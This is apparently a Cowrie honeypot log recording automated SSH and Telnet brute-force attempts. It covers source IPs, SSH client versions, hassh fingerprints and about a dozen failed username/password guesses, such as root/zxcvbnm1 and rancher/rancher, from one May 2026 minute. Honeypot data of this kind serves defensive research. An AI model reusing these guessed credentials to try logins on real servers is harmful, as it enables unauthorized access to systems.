{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:17.778510Z","src_ip":"176.65.139.103","session":"0c37c23adc7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:17.859190Z","src_ip":"176.65.139.103","session":"0c37c23adc7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:18.105744Z","src_ip":"176.65.139.103","session":"0c37c23adc7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:19.271720Z","src_ip":"176.65.139.103","session":"0c37c23adc7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":59512,"dst_ip":"10.17.0.5","dst_port":22,"session":"4432312cec4d","protocol":"ssh","message":"New connection: 202.184.144.220:59512 (10.17.0.5:22) [session: 4432312cec4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:19.894794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:19.901155Z","src_ip":"202.184.144.220","session":"4432312cec4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:20.138701Z","src_ip":"202.184.144.220","session":"4432312cec4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chenkai","message":"login attempt [root/chenkai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:21.090833Z","src_ip":"202.184.144.220","session":"4432312cec4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":22112,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a15f3ab0053","protocol":"ssh","message":"New connection: 2.57.121.25:22112 (10.17.0.5:22) [session: 1a15f3ab0053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:21.778255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:21.782363Z","src_ip":"2.57.121.25","session":"1a15f3ab0053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:21.881225Z","src_ip":"2.57.121.25","session":"1a15f3ab0053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:22.333089Z","src_ip":"202.184.144.220","session":"4432312cec4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"docdoc","message":"login attempt [user/docdoc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:22.353849Z","src_ip":"2.57.121.25","session":"1a15f3ab0053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dobber","message":"login attempt [user/dobber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:23.454978Z","src_ip":"2.57.121.25","session":"1a15f3ab0053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41394,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1f72be372a7","protocol":"ssh","message":"New connection: 176.65.139.103:41394 (10.17.0.5:22) [session: e1f72be372a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:23.885375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:23.889610Z","src_ip":"176.65.139.103","session":"e1f72be372a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:23.971697Z","src_ip":"176.65.139.103","session":"e1f72be372a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:24.233789Z","src_ip":"176.65.139.103","session":"e1f72be372a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"distance","message":"login attempt [user/distance] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:24.556841Z","src_ip":"2.57.121.25","session":"1a15f3ab0053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:25.320826Z","src_ip":"176.65.139.103","session":"e1f72be372a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dickey","message":"login attempt [user/dickey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:25.658658Z","src_ip":"2.57.121.25","session":"1a15f3ab0053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dewayne","message":"login attempt [user/dewayne] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:26.759307Z","src_ip":"2.57.121.25","session":"1a15f3ab0053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:27.861145Z","src_ip":"2.57.121.25","session":"1a15f3ab0053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":41412,"dst_ip":"10.17.0.5","dst_port":22,"session":"566721a7ab7a","protocol":"ssh","message":"New connection: 176.65.139.103:41412 (10.17.0.5:22) [session: 566721a7ab7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:30.244217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:30.324787Z","src_ip":"176.65.139.103","session":"566721a7ab7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:30.363485Z","src_ip":"176.65.139.103","session":"566721a7ab7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:30.648337Z","src_ip":"176.65.139.103","session":"566721a7ab7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":61458,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc74e2c56bd7","protocol":"ssh","message":"New connection: 52.231.220.210:61458 (10.17.0.5:22) [session: fc74e2c56bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:31.146551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:31.150421Z","src_ip":"52.231.220.210","session":"fc74e2c56bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:31.338625Z","src_ip":"52.231.220.210","session":"fc74e2c56bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:31.745356Z","src_ip":"176.65.139.103","session":"566721a7ab7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm1","message":"login attempt [root/zxcvbnm1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:32.125784Z","src_ip":"52.231.220.210","session":"fc74e2c56bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:33.316615Z","src_ip":"52.231.220.210","session":"fc74e2c56bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40408,"dst_ip":"159.203.135.109","dst_port":22,"session":"f85ea1e19932","protocol":"ssh","message":"New connection: 159.203.92.129:40408 (159.203.135.109:22) [session: f85ea1e19932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:33.343354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:33.347233Z","src_ip":"159.203.92.129","session":"f85ea1e19932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:33.350820Z","src_ip":"159.203.92.129","session":"f85ea1e19932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"123!","message":"login attempt [ansible/123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:33.359463Z","src_ip":"159.203.92.129","session":"f85ea1e19932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:34.364460Z","src_ip":"159.203.92.129","session":"f85ea1e19932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42734,"dst_ip":"10.17.0.5","dst_port":22,"session":"a239d86cee7f","protocol":"ssh","message":"New connection: 176.65.139.103:42734 (10.17.0.5:22) [session: a239d86cee7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:36.313954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:36.317701Z","src_ip":"176.65.139.103","session":"a239d86cee7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:36.425753Z","src_ip":"176.65.139.103","session":"a239d86cee7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:36.671269Z","src_ip":"176.65.139.103","session":"a239d86cee7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":39832,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a160c41999a","protocol":"telnet","message":"New connection: 161.97.124.15:39832 (159.203.135.109:23) [session: 3a160c41999a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:37.443151Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:58:37.774077Z","src_ip":"176.65.139.103","session":"a239d86cee7f","protocol":"ssh"}
